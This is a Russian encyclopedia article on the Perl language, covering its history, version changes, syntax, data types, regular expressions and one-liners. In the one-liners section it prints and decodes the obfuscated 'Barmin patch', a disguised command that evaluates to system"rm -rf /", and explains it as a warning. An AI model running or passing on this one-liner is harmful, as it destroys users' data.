Perl

Перейти к навигацииПерейти к поиску
Perl
Изображение логотипа
Класс языкаязык программирования
Появился в1987[4]
АвторЛарри Уолл
РазработчикЛарри Уолл[1] и The Perl Foundation[вд][2]
Выпуск
Система типовслабая динамическая
Испытал влияниеC++, Си[1], sed, AWK, Бейсик, Лисп и командная оболочка UNIX
Повлиял наRaku, Ruby, PHP, Groovy, JavaScript
ЛицензияArtistic License[вд][5] и GNU General Public License, version 1.0 or later[вд][6][7]
Сайтperl.org (англ.)
ОСLinux[8], macOS[8], Windows[8], Solaris[8], AIX[8] и HP-UX[8]
Логотип Викисклада Медиафайлы на Викискладе

Perl — высокоуровневый интерпретируемый динамический язык программирования общего назначения, созданный Ларри Уоллом, лингвистом по образованию. Название языка официально расшифровывается как Practical Extraction and Report Language («практический язык для извлечения данных и составления отчётов»)[9], а в шутку — как Pathologically Eclectic Rubbish Lister («патологически эклектичный перечислитель мусора»)[9]; разработчики языка не считают его название акронимом[10]. Первоначально название состояло из пяти символов и в таком виде в точности совпадало с английским словом pearl («жемчужина»). Но затем стало известно, что такой язык уже существует, и букву «a» убрали. Символом языка Perl является верблюд — не слишком красивое, но очень выносливое животное, способное выполнять тяжёлую работу.

Основной особенностью языка считаются его богатые возможности для работы с текстом, в том числе работа с регулярными выражениями, встроенная в синтаксис. Перл унаследовал много свойств от языков Си, AWK, скриптовых языков командных оболочек UNIX[].

Perl знаменит огромной коллекцией дополнительных модулей CPAN (около 200 000), которые значительно увеличивают его возможности.

Обзор

Ларри Уолл

Perl — язык программирования общего назначения, который был первоначально создан для манипуляций с текстом, но на данный момент используется для выполнения широкого спектра задач, включая системное администрирование, веб-разработку, сетевое программирование, игры, биоинформатику, разработку графических пользовательских интерфейсов[].

Язык можно охарактеризовать скорее как практичный (лёгкость в использовании, эффективность, полнота), чем красивый (элегантность, минималистичность)[11]. Главными достоинствами языка являются поддержка различных парадигм (процедурный, объектно-ориентированный и функциональный стили программирования), контроль за памятью (без сборщика мусора, основанного на циклах), встроенная поддержка обработки текста, а также большая коллекция модулей сторонних разработчиков.

Согласно Ларри Уоллу, у Perl есть два девиза. Первый — «Есть больше одного способа это сделать» («There’s more than one way to do it»), известный также под аббревиатурой TMTOWTDI. Второй слоган — «Простые вещи должны быть простыми, а сложные вещи должны быть возможными» («Easy things should be easy and hard things should be possible»)[].

Особенности

Общая структура Perl в общих чертах ведёт своё начало от языка Си. Perl — процедурный по своей природе, имеет переменные, выражения присваивания, блоки кода, отделяемые фигурными скобками, управляющие структуры и функции.

Perl также заимствует ряд свойств из языков программирования командных оболочек UNIX. Все переменные маркируются ведущими знаками, которые точно выражают тип данных переменной в этом контексте (например, скаляр, массив, хеш). Важно, что эти знаки позволяют переменным быть интерполированным в строках. Perl обладает множеством встроенных функций, которые обеспечивают инструментарий, часто используемый для программирования оболочки, например сортировку или вызов системных служб.

Perl заимствует массивы из Лиспа, регулярные выражения из AWK и sed, из AWK также позаимствованы хеши («ассоциативные массивы»). Регулярные выражения облегчают выполнение многих задач по парсингу, обработке текста и манипуляций с данными.

Perl 5 добавил поддержку сложных типов данных, первоклассных функций (замыкание как значение) и объектную модель. В последнюю входят ссылки, пакеты, выполнение методов от класса, переменные с лексическим объявлением области видимости, а также директивы компилятора (например, strict). Главнейшим усовершенствованием, представленным в Perl 5, стала возможность помещать код в «пакеты» (package) в качестве модулей для повторного использования. Ларри Уолл позже заметил, что «Весь замысел модульной системы Perl 5 сводился к поощрению роста культуры Perl, а не строчек кода»[12].

Все версии Perl выполняют автоматическую типизацию данных и автоматический контроль над памятью. Интерпретатор знает тип и запросы памяти каждого объекта программы, он распределяет и освобождает память, производя подсчёт ссылок. Перевод одного типа данных в другой — например, числа в строку — происходит автоматически во время исполнения, невозможные для выполнения переводы типов данных приводят к фатальной ошибке.

Работа в Windows

Пользователи Microsoft Windows обычно используют дистрибутивы с уже скомпилированными бинарными файлами, такие, как ActivePerl или Strawberry Perl[англ.], так как компиляция Perl из исходных кодов в этой ОС — не самая простая задача. Задачу может облегчить Cygwin.

История

Первые версии

Ларри Уолл начал разработку Perl в 1987 году, когда работал программистом в Unisys[13]. Версия 1.0 была выпущена и анонсирована в новостной группе comp.sources.misc 18 декабря 1987 года[14] как «„замена“ для awk и sed».

Perl 2 был выпущен в 1988 году. Основным нововведением в нём был переработанный механизм регулярных выражений. Perl 3, выпущенный в 1989 году, получил возможность обрабатывать потоки двоичных данных.

Изначально единственной документацией для Perl была единственная (огромной длины) man-страница. В 1991 году была выпущена книга «Programming Perl» (известная многим программистам как «Верблюжья книга» (Camel Book) из-за изображения на обложке), которая, де-факто, стала стандартом языка. В то же самое время версия языка была «поднята» до 4‑й — не столько чтобы указать на значительные изменения, сколько чтобы обозначить, что эта версия языка документирована книгой.

Ранний Perl 5

Perl 4 прошёл через серию релизов, остановившись на Perl 4.036 в 1993 году. В этот момент Ларри Уолл забросил Perl 4 и начал работу над Perl 5. Разработка Perl 5 была начата в 1994 году. В то же время был создан список рассылки perl5-porters для координации работы над портированием Perl 5 на различные платформы. Он до сих пор остаётся основным форумом по разработке, обслуживанию и портированию Perl 5[15].

Perl 5.000 был выпущен 17 октября 1994 года.[16] Он включал в себя полностью переписанный интерпретатор, а также много новых языковых возможностей, таких, как объекты, ссылки, локальные переменные (my $var_name) и модули. Особенно важной частью были модули, так как они предоставили механизм расширения языка без модифицирования интерпретатора. Это позволило стабилизировать интерпретатор, но при этом, дало возможность обычным Perl-программистам добавлять в язык новые возможности. Perl 5 находится в активной разработке по сей день.

Perl 5.001 был выпущен 13 марта 1995 года. Perl 5.002 увидел свет 29 февраля 1996 года с новой поддержкой прототипов. Это позволило авторам модулей создавать функции, которые вели себя так же, как и встроенные функции Perl. Версия Perl 5.003 появилась 25 июня 1996 года и устранила обнаружившиеся проблемы с безопасностью.

Одно из важнейших событий в истории Perl 5 случилось за пределами собственно языка и было следствием поддержки модулей. 26 октября 1995 года начала свою работу CPAN (Comprehensive Perl Archive Network — «всеобъемлющая сеть архивов Perl»), которая стала репозиторием модулей Perl, а также исходного кода самого языка. На данный момент CPAN насчитывает более 198 600 модулей, созданных более чем 14 000 программистами[17][18].

Perl 5.004 был выпущен 15 мая 1997 года и содержал, кроме всего прочего, пакет UNIVERSAL, который давал языку основной объект, от которого автоматически происходили все классы. Была также включена возможность запрашивать версию модулей. В дополнение к этому Perl стал поддерживать Microsoft Windows, а также ряд других операционных систем.

Perl 5.005 увидел свет 22 июня 1998 года. Этот релиз включал в себя несколько улучшений процессора регулярных выражений, новые перехваты в бэкенд с помощью модулей B::*, оператор кавычек qr// для регулярных выражений, большой выбор других новых модулей, а также поддержку ряда операционных систем, в частности, BeOS.

C 2000 по наше время

Версии 5.6.x

Perl 5.6 был выпущен 22 марта 2000 года. Главные изменения включали поддержку 64-битных систем, представление строк в стандарте Юникод, поддержку больших файлов (файлы больше 2 Гб) и ключевое слово our[19][20]. Во время разработки Perl 5.6 было принято решение изменить схему наименования версий на более близкую к другим проектам с открытым исходным кодом. За версией 5.005_63 следовала версия 5.5.640; согласно плану, версиям в разработке должны были присваиваться нечётные номера, стабильным версиям — чётные.

В 2000 году Ларри Уолл выступил с призывом к сообществу активно обсуждать предложения к следующей версии Perl. Результатом этого обсуждения стал 361 документ RFC (Request for Comments — «запрос комментариев»), которые были использованы в разработке Perl 6. В 2001 году[21] была начата работа над окончательным документом, подводящим итог предложениям к созданию нового поколения Perl. Результат был представлен не в виде формального документа, а в качестве сводки всех RFC. К этому времени Perl 6 существовал исключительно в виде описания языка.

Версии 5.8.x

Perl 5.8 был впервые выпущен 18 июля 2002 года и с этого времени получал ежегодное обновление. Последняя версия Perl 5.8, под номером 5.8.9, увидела свет 14 декабря 2008 года. Perl 5.8 улучшил поддержку Юникода, добавил новую реализацию ввода-вывода, добавил поддержку многопоточности, увеличил числовую точность и добавил несколько новых модулей[22].

В 2004 году началась работа над Синопсисом (Synopsis) — первоначально задуманном как ряд документов, подводящих итоги окончательного документа, упоминавшегося выше. Однако постепенно этот ряд документов и стал спецификацией Perl 6. В феврале 2005 года Отриус Тан начала работу над Pugs[англ.] — интерпретатором Perl 6, написанном на Haskell[23]. Это было первой настоящей попыткой воплотить Perl 6 в реальность. Эта попытка заглохла в 2006 году.

Версии 5.10.x

18 декабря 2007 года, в день 20-летней годовщины Perl 1.0, была выпущена версия Perl 5.10.0. Эта версия содержала в себе ряд заметных нововведений, приближающих её к Perl 6. Одними из таких нововведений стали новые операторы switch (названных «given»/«when»), обновление регулярных выражений, а также «умный» оператор совпадения «~~»[24][25].

Примерно в это же время всерьёз началась разработка новой реализации Perl 6, известной как Rakudo Perl[англ.], разработанной в связке с виртуальной машиной Parrot. С ноября 2009 года Rakudo Perl регулярно обновляется каждый месяц и является на данный момент самой полной реализацией Perl 6.

Версии 5.11.x

Значительное изменение процесса разработки Perl 5 произошло после появления Perl 5.11. Сообщество разработчиков перешло на ежемесячный цикл выпусков, с планированием даты выпуска на три месяца вперёд.

Версии 5.12.x

12 апреля 2010 года Perl 5.12.0 был представлен общественности. Выдающиеся нововведения включают в себя поддержку нового синтаксиса package NAME VERSION, оператор Yada Yada (служащего для маркировки кода-заполнителя, который ещё не реализован), полное решение «проблемы 2038 года» (Y2038), перегрузку операторов регулярных выражений, поддержку DTrace (фреймворка динамической трассировки), а также полную поддержку стандарта Unicode 5.2[26]. 7 сентября 2010 года был выпущен Perl 5.12.2, а 21 января 2011 — Perl 5.12.3. Эти выпуски содержат обновление модулей, а также некоторые изменения в документации[27][28]. Версия 5.12.4 выпущена 20 июня 2011. Последняя версия этой ветви, 5.12.5, выпущена 10 ноября 2012.

Версии 5.14.x

14 мая 2011 выпущен Perl 5.14. Поддержка JSON стала встроенной, начиная с версии 5.14.2. Последняя версия этой ветви, 5.14.4, выпущена 10 марта 2013.

Версии 5.16.x

20 мая 2012 выпущен Perl 5.16. Значимым новшеством является возможность указать нужную версию Perl, которую надо эмулировать, позволяя пользователям обновить Perl, но сохранить работоспособность старых скриптов, которые иначе стали бы несовместимыми с новой версией[29]. Ядро Perl 5.16 поддерживает Unicode 6.1[29].

Версии 5.18.x

18 мая 2013 выпущен Perl 5.18. Значимые нововведения включают новые зацепки dtrace, лексические функции, увеличение числа включённых в ядро функций, пересмотр реализации хешей из соображений безопасности, поддержка Unicode 6.2[30].

Версии 5.20.x — 5.26.x

Версия 5.20 вышла 27 мая 2014[31].

16 апреля 2015 было объявлено о предполагавшемся выходе версии 5.22[32], 9 мая 2016 вышла версия 5.24[33].

30 мая 2017 года вышла очередная стабильная версия за номером 26[34].

Версии 5.28.x

Версия 5.28.0 вышла 22 июня 2018[35].

Ключевые нововведения:

  • Поддержка Unicode 10.0 (появился символ биткоина).
  • Стандартную функцию delete можно использовать на срезах хэша ключ / значение:
my %sanitised_values = delete %input_values{@allowed_keys};
  • Проверка системы письменности на однородность (script runs):
'Perl' =~ /^(*sr:\w+$)/

Вернёт «ложь», так как буква «е» кириллическая (подробнее о script runs[36])

Экспериментальные возможности:

  • Поддержка буквенных синонимов для некоторых утверждений (assertion) регулярных выражений:
(?=...)        (*pla:...) or (*positive_lookahead:...)
(?!...)        (*nla:...) or (*negative_lookahead:...)
(?<=...)       (*plb:...) or (*positive_lookbehind:...)
(?<!...)       (*nlb:...) or (*negative_lookbehind:...)
(?>...)        (*atomic:...)

Улучшения производительности:

  • Серьёзно снижены накладные расходы связанные с использованием параметров юникод (\p{...}) в регулярных выражениях.
  • Существенно ускорена множественная конкатенация. Например, следующий код на x86_64 работает в 4 раза быстрее:
my $a = "ab\x{100}cde";
my $b = "fghij";
my $c = "\x{101}klmn";

my $s;
for my $i (1..10_000_000) {
   $s = "\x{100}wxyz";
   $s .= "foo=$a bar=$b baz=$c";
}
  • printf() с фиксированным набором аргументов и строкой формата содержащей только %s и %% работает быстрее.
  • ref() работает намного быстрей в булевом контексте, так как больше не создаётся временная строка вроде Foo=ARRAY(0x134af48).
  • Циклы for() и аналогичные конструкции в большинстве ситуаций будут работать быстрей.
  • Появилась возможность хранить процедуры в пакетах без использования таблиц имён, что позволяет сэкономить крупные объёмы памяти.

Другие изменения:

  • Ядро почистили от «use vars». Многие продолжают использовать «use vars», что является плохой практикой с момента введения «our» в версии 5.6.0.
  • Новое предупреждение для случаев:
my $name='Pistachio';
print "In $name's house";
  • Побитовые операции для строк и чисел больше не являются экспериментальными.
  • Редактирование на месте с помощью perl -i стало безопаснее.

Версия 5.32.0

Вышла 20 июня 2020[37] и за 13 месяцев разработки изменено около 140 тысяч строк кода в 880 файлах. Perl 5.32 переходит в режим долгой поддержки на срок от 5 лет. На «Perl and Raku Conference in the Cloud»[38], Sawyer X. анонсировал смену основной версии Perl с 5 на 7[39]. Ожидается, что Perl 7 это всё тот же Perl 5.32 с современными настройками по умолчанию.

Ключевые нововведения:

  • Новый экспериментальный оператор isa, проверяющий, является ли указанный объект экземпляром переданного класса или класса-наследника:
if( $obj isa Package::Name ) { ... }
  • Поддержка Unicode 13.0!
  • Появилась возможность записывать операторы сравнения с одним приоритетом в виде цепочки:
if ( $x < $y <= $z ) {...}
# То же самое что:
if ( $x < $y && $y <= $z ) {...}
  • Буквенные обозначения утверждений в регулярных выражениях больше не являются экспериментальными, например: (*pla:pattern)
  • Возможность ограничения проверяемого шаблона конкретной системой письма («Script Runs») больше не является экспериментальной.
  • Появилась возможность отключать непрямой вызов методов.

Некоторые оптимизации:

  • Проверка подключения дополнительных возможностей (features) теперь происходит быстрее.
  • Существенно ускорены специальные случаи для сортировки (например, {$a <=> $b} и {$b <=> $a}).

Версия 5.34.0

Вышла 20 мая 2021[40][41]. Perl 5.34.0 представляет собой примерно 11 месяцев разработки с тех пор, как вышла версия Perl 5.32.0 и содержит примерно 280 000 строк изменений в 2100 файлах от 78 авторов. Если исключить документацию, генерируемые автоматически файлы и инструментарий для формирования самого релиза, было изменено 150 000 строк в 1300 .pm, .t, .c и .h-файлах.

Новая функциональность:

  • Добавлена экспериментальная поддержка try/catch.
use feature 'try';
 
try {
   a_function();
}
catch ($e) {
   warn "An error occurred: $e";
}
  • Нижняя граница диапазонного квантификатора теперь может быть не указана: qr/{,n}/.
  • Допускается наличие пробелов для заключённой в фигурные скобки части метасимволов: \x{ FFFC } или qr/a{ 5, 7 }/.
  • Добавлен префикс 0o для записи восьмеричных констант: 0o123_456.
  • В модуль feature добавлены две включённых по умолчанию настройки-ограничителя bareword_filehandles и multidimensional:
no feature qw( bareword_filehandles );
open( FP, "<", "./x" );

no feature qw( multidimensional );
my %h = ();
$h{1,2};
  • Исправлен случай утечки памяти.
  • Расширен набор сообщений об ошибках и предупреждений.
  • Добавлены изменения в документации.
Сопутствующие решения

Некоторые наблюдатели приписывают выходу Perl 5.10 запуск движения Modern Perl[42][43]. В частности, эта фраза описывает стиль разработки, подразумевающий использование CPAN, использование преимуществ последних разработок на языке, а также требовательность к высокому качеству кода[44].

В конце 2012 и в 2013 запущены несколько проектов по альтернативной реализации Perl 5: Perl5 in Perl6 (Rakudo Perl team)[45], moe (Стивен Литл с друзьями)[46], p2[47] (Perl11 team under Reini Urban), а также gperl (goccy)[48].

Perl 6

С 2000 года идёт разработка новой (6-й) версии языка. В отличие от предыдущих версий, разработчики планируют создать чётко определённый стандарт языка. В настоящее время существуют экспериментальные компиляторы Perl 6, но продолжается дальнейшее обсуждение новых правил.

Синтаксис языка Perl

Синтаксис Perl имеет много общего с синтаксисом языков Си, AWK, sed и Bourne shell.

Первая строка исходного кода может начинаться с «#!/Путь/к/Perl [-ключи]» — что указывает системе путь к интерпретатору Perl для выполнения программы в UNIX-системах и выполнения их на веб-сервере (см. также: Шебанг (Unix)).

Пример программы

Простейшая программа «Hello, world!» выглядит следующим образом:

#!/usr/bin/perl
print "Hello, world!\n";

либо для CGI:

#!/usr/bin/perl
print "Content-type: text/html\n\n";
print "Hello, world!";

либо используя один из post modern web-framework

use Mojolicious::Lite;
get '/' => {text => 'Hello World!'};
app->start;

либо используя PSGI спецификацию

my $app = sub {
    return [200, ['Content-Type' => 'text/plain'], ["hello, world\n"]];
}

Дозапись в строку.

$x = 5;
$x .= 0;
print $x; #50

А вот так можно напечатать число гугол.

print 1, 0 x 100;

Типы данных

Основные типы данных: скаляр, массив, хеш-таблица, функция, указание на файл, запись таблицы символов. Переменные разных типов отличаются знаком, который стоит перед именем переменной:

Тип Символ Пример Описание
Скаляр$ $foo единичное значение; может быть числом, строкой, указанием на файл, а также ссылкой.
Массив@ @foo Упорядоченная коллекция скаляров.
Хеш-таблица% %foo Коллекция из пар строка-скаляр; строки называются ключами, а скаляры — значениями. Синоним — ассоциативный массив.
Файловый дескриптор< > $foo или FOO Представление открытого файла или другой цели, открытой для чтения и/или записи.
Функция& &foo Отрезок кода, который принимает аргументы, исполняет действия и возвращает значения.
Запись таблицы символов* *foo Запись таблицы символов для всех типов с именем 'foo'.

Скаляр

Скалярные переменные используются для хранения одиночных значений. Они могут содержать числа, строки и ссылки на другие объекты. Перед именем скалярной переменной необходимо ставить знак доллара '$'. Тип скалярной переменной не фиксирован (в отличие от, например, языка Си) и определяется динамически в зависимости от контекста. Например,

$x = 10; # число
$y = $x + 1; # используем $x как число…
$z = $x . 'string'; # … а теперь — как строку
$ref = \$x;  # $ref является указателем на $x
$$ref = 10; # $x содержит значение 10

Строковые данные должны быть помещены в кавычки. Perl использует два вида кавычек — одиночные и двойные. Помещение строки в двойные кавычки позволяет автоматически заменить встречающиеся имена переменных на их значения. Заключение строк в одиночные кавычки предотвращает такое поведение:

## Пример интерполяции переменных в двойных кавычках

$pi             = 3.141592654;
$var1           = 'Значение Pi - $pi\n';  
print $var1;                                                 # Значение Pi - $pi\n
$var2           = "Значение Pi - $pi\n";
print $var2;                                                 # Значение Pi - 3.141592654

Для включения двойных кавычек в строку, которая была помещена в двойные кавычки, следует использовать \". Для включения одинарных кавычек в строку из одинарных кавычек — \'. Для удобства работы со строками, содержащими много знаков кавычек внутри, Perl позволяет использовать альтернативные способы закавычивания. Альтернативная форма использует любую пару знаков, помещённых после буквы q (имитирует поведение одинарных кавычек) или qq (имитирует поведение двойных кавычек):

## Пример использования альтернативных кавычек

$pi       = 3.141592654;
$link1    = q{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>};
print $link1;                                              # <a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>
$link2    = qq{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>};
print $link2;                                              # <a href="http://ru.wikipedia.org/wiki/Pi">3.141592654</a>

Ещё один тип кавычек в Perl — обратные кавычки. В них помещаются программы операционной системы, вывод которых может быть передан интерпретатору Perl. Например:

## Пример использования обратных кавычек для исполнения команд UNIX

$space		= `du -s -k /usr/local/bin`;
print $space;                                   # 6264	/usr/local/bin

$sysuptime	= `uptime`;	
print $sysuptime;                               # 2:24  up 1 day,  9:05, 1 user, load averages: 0.26 0.32 0.33

Массив

Массив является упорядоченным списком скаляров. Каждый элемент массива имеет порядковый индекс, с помощью которого к нему можно получить доступ. Нумерация элементов начинается с нуля, то есть первый элемент списка имеет индекс 0. Перед именем переменной-массива необходимо ставить знак '@', а для доступа к определённому элементу массива использовать знак '$', так как отдельный элемент массива является скаляром. Многомерные массивы можно смоделировать, помещая в список ссылки на другие списки.

@array = (1,2,3,4); # записали в массив @array четыре элемента
print $array[2];    # напечатать третий элемент
print @array[2,3];  # напечатать третий и четвёртый элемент.
# Здесь используется @, так как результат операции среза массива тоже является массивом.

Хеш-таблица

  • Хеш-таблица представляет собой ассоциативный массив, позволяющий ассоциировать строку (называемую «ключом») со скаляром (значение). Строка называется ключом, а скаляр в хеш-таблице значением. Перед именем переменной-списка необходимо ставить знак процента '%', а для доступа к определённому элементу массива необходимо ставить знак '$'.

Хеш-таблицу можно инициализировать массивом или списком, состоящим из неограниченного числа последовательностей (ключ, значение).

%hash = (
            cat => 'kitten',  # здесь => - это так называемая "длинная запятая", в этом примере
            dog => 'puppy',   # по функции полностью аналогичная обыкновенной "," за исключением 
            cow => 'calf'     # того, что литералы слева неявно заключаются в кавычки
        );
print $hash{'cat'}; #Напечатает kitten
print join("-", keys %hash) ; # Вывод всех ключей. Напечатает cat-dog-cow 
print join("-", values %hash) ; # Вывод всех значений. Напечатает kitten-puppy-calf
print join("-", %hash) ; # Напечатает cat-kitten-cow-calf-dog-puppy, так как в списковом контексте хеш автоматически
# разворачивается в список (ключ, значение). Так как ключи в хеше не сортируются,
# пары каждый раз будут выводиться в произвольном порядке.

Функция

  • Функция представляет собой фрагмент исполняемого кода. Функция всегда возвращает какое-либо значение. Если возвращаемое значение явно не указано оператором return, возвращается последнее вычисленное значение. Если в функции используется return без параметров, то в зависимости от контекста вызова функции возвращается неопределённое значение undef, пустой список или вообще ничего.
sub printTwo{
 print 2;
}

sub three{
 3;
}

$s = \&three;
print &$s; #Напечатает 3

$s = \&printTwo; # Запишем в скаляр $s ссылку на функцию — через эту ссылку она будет вызвана в следующей строке.
print &$s; #Напечатает 21. `2` в коде функции, а `1` как значение, возвращаемое функцией printTwo
print &printTwo #То же самое

Константа

  • Константа представляет собой неизменяемое значение. Константа не является встроенным типом языка и эмулируется при помощи функций. Предпочтительно задавать константы с помощью стандартного модуля constant, чтобы в будущем не зависеть от возможных изменений в реализации констант. Использование:
use constant MY => 2;
print MY;

Запись таблицы символов

  • Запись таблицы символов (typeglob) — специальный тип, в котором хранятся ссылки на все переменные других типов с таким названием, а также на символы, которые часто использует для хранения файловый дескриптор, представляющих собой указатель на файл, устройство или PIPE канал, открытые для записи, чтения или для записи и чтения.

Использование:

$s = readline *STDIN; #Читаем одну строку из дескриптора STDIN (стандартный поток ввода); скалярный контекст.
@values = <FILE>; #Читаем все строчки из некоторого открытого и связанного с дескриптором FILE файла; списковый контекст.
print STDOUT $s; #Печатаем в STDOUT (стандартный поток вывода)

Более точный пример, в котором typeglob используется для передачи файлового дескриптора в функцию:

my $file = 'file.txt'; #имя файла, который читаем
open FH, $file; #открываем файл
my $text = _parseFile(*FH); #передаём файловый дескриптор в функцию
print $text;
close FH; #обязательно закрываем файловый дескриптор
sub _parseFile
{
	my $fh = shift; #получаем файловый дескриптор
	my $text = join('',<$fh>);#построчно читаем из файлового дескриптора, в строку и помещаем в переменную $text
	return $text;
}

В последних версиях Perl появилась возможность хранить файловые дескрипторы в скалярах, и в новых программах предпочтительно пользоваться именно этим способом.

Также таблицы символов используются для связи двух имён переменной с одним значением в памяти, создавая синонимы, которые могут быть использованы для доступа и модификации значения точно также как и оригинальное имя. Эта возможность является основой системы загружаемых модулей, классов и объектов в Perl.

Классы и объекты

Объект в Perl представляет собой просто ссылку, связанную с определённым классом (пакетом). Для связи используется функция bless. Подпрограммы такого связанного пакета являются методами и получают ссылку в качестве первого аргумента.

Специальный синтаксис для конструкторов отсутствует, используется подпрограмма пакета, возвращающая ссылку, связанную с этим пакетом.

Также существуют множество расширений для системы ООП, позволяющих менять синтаксис и использовать синтаксический сахар, в числе которых стоит назвать cpan-модуль Moose и его облегчённую версию Moo[49]. Moose используется многими проектами и крупными компаниями, такими как BBC или Cisco[50].

Регулярные выражения

Важной частью Perl являются регулярные выражения. Благодаря этому Perl хорошо подходит для обработки текстов. Бо́льшая часть работы с регулярными выражениями производится при помощи операторов =~, m// и s///.

Оператор m// используется для проверки на совпадение. В простейшем случае результат выражения $x =~ m/abc/ будет истинным тогда и только тогда, когда строка $x будет соответствовать регулярному выражению abc. Например:

Пример Значение
$x =~ /abc/Строка $x содержит (под)строку «abc». Начальная буква «m» оператора при использовании // может быть опущена.
$x =~ m/a(.{1,3})c/Строка $x содержит букву «a», затем от одного до трёх любых символов кроме символа перевода строки «\n», и затем букву «c».
$x =~ m{^p(erl|ugs)$}iСтрока $x строго равна «perl» или «pugs» без учёта регистра. Так же, вместо // регулярное выражение окружено в {}.

Поиск и замена выполняются при помощи оператора s///. Конструкция $x =~ s/abc/def/; заменит первое вхождение регулярного выражения abc на строку def.

Пример Значение
$x =~ s/abc/def/g;Все вхождения (на что указывает флаг /g — global) подстроки «abc» в $x будут заменены на «def».
$x =~ s/a(.{1,3})c/!$1!/;Первое вхождение в $x буквы «a», затем от одного до трёх любых символов кроме символа перевода строки «\n», и затем буквы «c» будет заменено на эти символы между «a» и «c», окружённые «!». Например, «syntactic» станет «synt!cti!».
$x =~ s{^p(erl|ugs)}{"P" . lc $1}ieg;Здесь показан пример использования модификатора /e, указывающего на то, что вместо строки замены будет написан код, результат выполнения которого надо использовать. Все вхождения «perl» или «pugs» в любом регистре будут заменены на «Perl» и «Pugs», соответственно.

С появлением динамических регулярных выражений (??{ код Perl }) и конструкции для включения в регулярное выражение исполняемого кода Perl (?{ код Perl }) возможности по поиску и замене стали практически безграничными. К примеру, стал возможен поиск конструкций произвольного уровня вложенности.

Регулярные выражения Perl настолько популярны, что они включены напрямую в другие языки, такие как PHP и JavaScript, а также существуют подключаемые библиотеки, реализующие использование выражений в компилируемых языках.

Программы из одной строки

Интересной и часто используемой возможностью Perl являются так называемые однострочники — программы из одной строки, обычно задаваемые прямо в строке вызова интерпретатора с помощью ключа -e.

Эта программа напечатает простые числа:

perl -wle '(1 x $_) !~ /^(1|((11+)\3+))$/ && print while ++ $_'

Этот пример напечатает только уникальные строки файла file, ключ -n автоматически заворачивает строку обработки в цикл, который проходит по всем строкам в файлах, указанных после текста программы:

perl -ne '$s{$_}++ || print' file

Примечание: для запуска предыдущей команды под Windows замените в ней апострофы ' на двойные кавычки ".

В этих примерах Perl напоминает своей краткостью и непонятностью с первого взгляда язык J.

Также одним из подобных примеров является вызвавшая большой резонанс программа[51], на самом деле являющаяся патчем Бармина (замаскированной командой рекурсивного удаления всех файлов):

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

echo "test... test... test..." выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности. То, что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:

$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see

Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или '|', для неясности в этой конструкции используется ограничитель ';').

Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:

 !"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -

В результате содержимое $_ принимает вид

system"rm -rf /"

Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.

Языки программирования и оболочки со схожими технологиями

Perl — далеко не единственный язык, дающий богатые возможности в обработке текста. Языки программирования РЕФАЛ, Icon и Снобол предоставляют возможность более полно использовать метод программирования «сопоставления с образцом», частным случаем которого и являются регулярные выражения.

Существует также полноценная командная оболочка UNIX, использующая в качестве основы язык Perl. Называется она psh и даёт возможность смешивать команды обычной оболочки и самого Perl’а[52].

Интересные факты

На Perl можно даже писать стихотворения. Одно из таких стихотворений под названием «Black Perl» («Чёрная жемчужина» или «Чёрный перл») было упомянуто Ларри Уоллом в первоапрельском письме в Usenet. Оно было написано изначально для Perl 3, и по словам самого Ларри, он испытал моральное удовлетворение, когда стихотворение не прошло синтаксический анализатор в Perl 5.

 BEFOREHEAD: close door, each window & exit; wait until time.
 open spellbook, study, read (scan, select, tell us);
 write it, print the hex whole each watches,
 reverse its length, write again;
 kill spiders, pop them, chop, split, kill them.
 unlink arms, shift, wait & listen (listening, wait),
 sort the flock (then, warn the "goats" & kill the "sheep");
 kill them, dump qualms, shift moralities,
 values aside, each one;
 die sheep! die to reverse the system
 you accept (reject, respect);
 next step,
 kill next sacrifice, each sacrifice,
 wait, redo ritual until "all the spirits are pleased";
 do it ("as they say").
 do it(*everyone***must***participate***in***forbidden**s*e*x*).
 return last victim; package body;
 exit crypt (time, times & "half a time") & close it,
 select (quickly) & warn your next victim;
 AFTERWORDS: tell nobody,
 wait, wait until time;
 wait until next year, next decade;
 sleep, sleep, die yourself,
 die at last

Редакторы

Специально для Perl-разработчиков на языке Perl с использованием интерфейсной библиотеки wxWidgets написан такой открытый продукт как Padre IDE[англ.] (сокращение от «Perl Application Development and Refactoring Environment» — среда разработки и рефакторинга перл-приложений)[53].

Поддержка Perl включена в такую универсальную IDE, как ActiveState Komodo и её открытую версию Komodo Edit[54]. Для Eclipse поддержка Perl реализована в виде пакета расширений EPIC[53][55]. Обе этих среды в числе прочего включают визуальный отладчик[56]. IntelliJ IDEA и прочие продукты JetBrains поддерживают Perl5 с помощью плагина с открытым исходным кодом — Camelcade.

Поддержка перла в том или ином виде имеется в большинстве текстовых редакторов для программистов, таких как кроссплатформенные Vim[53], Emacs[53], SciTE[53], Gedit[57], Geany, jEdit[57], Sublime Text, или предназначенные для Windows Notepad++[53][57] и PSPad а также такие shareware продукты как UltraEdit & UEStudio от IDM Computer Solutions, Inc. Для Mac OS таким редактором может служить TextMate[53].

